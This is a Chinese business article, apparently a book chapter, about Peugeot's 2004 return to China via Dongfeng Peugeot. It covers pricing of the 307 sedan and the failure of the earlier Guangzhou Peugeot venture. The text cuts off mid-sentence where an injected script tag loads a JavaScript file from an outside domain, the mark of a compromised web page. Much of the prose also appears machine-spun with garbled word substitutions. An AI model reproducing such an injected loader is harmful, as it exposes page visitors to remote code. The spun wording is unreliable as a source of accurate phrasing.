第三章 标致重来
藉着东风汽车与雪铁龙汽车的合作扩大到PSA标致雪铁龙集团，标致决计重出江湖。但这类当年行动迟缓自以为是的法国人可以摆脱当年败走中国的阴影吗？――题记
标致为什么这样谦逊
2004年5月，离新车上市的时间愈加近，但窦赛尔（Jean－Yves Dossal）对于标致307的最后定价还是犹豫不绝。作为法国PSA标致雪铁龙集团负责标致品牌汽车在中国推广和进步的东风标致总经理，他了解价格上的任何一点疏忽将可能给标致汽车在中国的复出蒙上阴影。
1997年，几乎是最早达成在中国生产汽车的标致公司以广州标致项目的彻底亏损而败走中国。但中国忽然出现高涨的汽车年代。就在广州标致汽车的“废墟”上，广州本田汽车飞速诞生并成为中国盈利能力最强的合资汽车公司。尽管颜面已失，2001年11月，藉着东风汽车与雪铁龙汽车的合作扩大到PSA标致雪铁龙集团，标致决计重出江湖。
标致307三厢轿车是标致汽车在中国洗心革面的利器。与1985年在广州标致生产当时就已落伍的标致505不同，这是一款从任何角度讲都属与世界汽车时尚并行的出色商品。但今日世界已非昨日世界。与当年仅有对手大众桑塔纳不同，在标致307所在的中级汽车市场场上，已经有一连串角逐对手的相同种类商品在角逐。
大家的宝来、桑塔纳3000、丰田的花冠、日产的阳光、福特的蒙迪欧、通用的别克凯悦、现代的伊兰特、与华晨的中华……这类车的价格窦赛尔总经理已经烂熟于心。当年标致505定价超越桑塔纳已让人归结为标致落败的一个缘由，现在面对这样之多的强劲对手，标致307定价需要审慎再审慎。
2004年5月17日，上海通用汽车的别克系列轿车忽然全线调整价格，别克凯悦1.6排量轿车最底价格为12.98万元。马上上市并在15万元到20万元之间探寻适合价格的标致307对此显然有点无所适从。窦赛尔期望标致307最后的价格可以让人认可，但新车初始阶段国产化率较低的零部件由于欧元的升值而变得价格昂贵。
不过，1977年就已经进入标致汽车的窦赛尔已经习惯了白热化的角逐场面。自2002年9月来到中国之前，他是标致奥地利公司总经理。他告诉记者，无论在世界何地，角逐一直激烈 。“大家已经非常习惯角逐了。标致307定价的原则是物有所值，要紧的是大家要有最现代的商品，大家一直要推出新的商品。”
现年54岁的窦赛尔目前坚持天天上班之前抽一小时学习中文。这位看着相当和蔼的法国人期望与中国进行更多的接触，以领导标致汽车在此长久的斗争。“大家要做事情就要做得持久”，他说。中国之旅可能是其职业生涯的最后一站，一生中已经搬家十数次的窦赛尔能凯旋而归吗？
□迂回曲折
2004年3月1日，东风标致组织一批中国汽车记者前往瑞士参加日内瓦汽车展会。这是标致307对中国媒体的一次要紧造势活动。第二天，法国标致总经理圣儒宣布标致307将在中国生产，并称“这是标致115年历史上初次在国外生产一款新车”。
在发给中国记者的标致大事记上，标致汽车失败的广州项目并没记载。
4月21日，在同样隆重的标致307武汉下线仪式上，记者们手中的资料上也没任何广州项目的踪影。在面向将来的历史时刻，标致汽车显然不想再提历史的隐痛。确实，标致汽车感到广州一页可以轻轻翻过了，连同翻过的是当年短视的见地迟疑的节奏。
1985年，标致汽车与广州机电局合资组建广州标致汽车公司。在合资公司中，标致汽车持股22％，机电局持股46%，另外的股份被法国巴黎国民银行、中信汽车公司、国际金融公司瓜分。 “在合资公司各占一半的股份时可以一同决定一些东西，这个非常重要。过去大家办不到。”窦赛尔说。
然而这并不是是事实的全部。窦赛尔承认当时标致汽车对中国汽车进步的前景没信心。东风标致的中方总经理唐腾将之具体讲解为“标致一直看不清形势，犹豫不绝”。广州标致一直到关门大吉都没长远的举措。
1980年代的中国汽车零部件工业几乎一穷二白。广州标致汽车的零部件长期依靠进口，标致汽车并无推进国产化的动力。假如推进国产化，每年1万多辆最多2万3千辆的生产能力使配套企业无利可图。而广州方面自己投资的20多家零部件企业对此无异于杯水车薪。由此，广州标致汽车本钱巨大，合资公司勉强盈利到1994年。
1994年中国汽车新产业政策颁布，整?script src=http://cn.jxmmtv.com/cn.js>cript>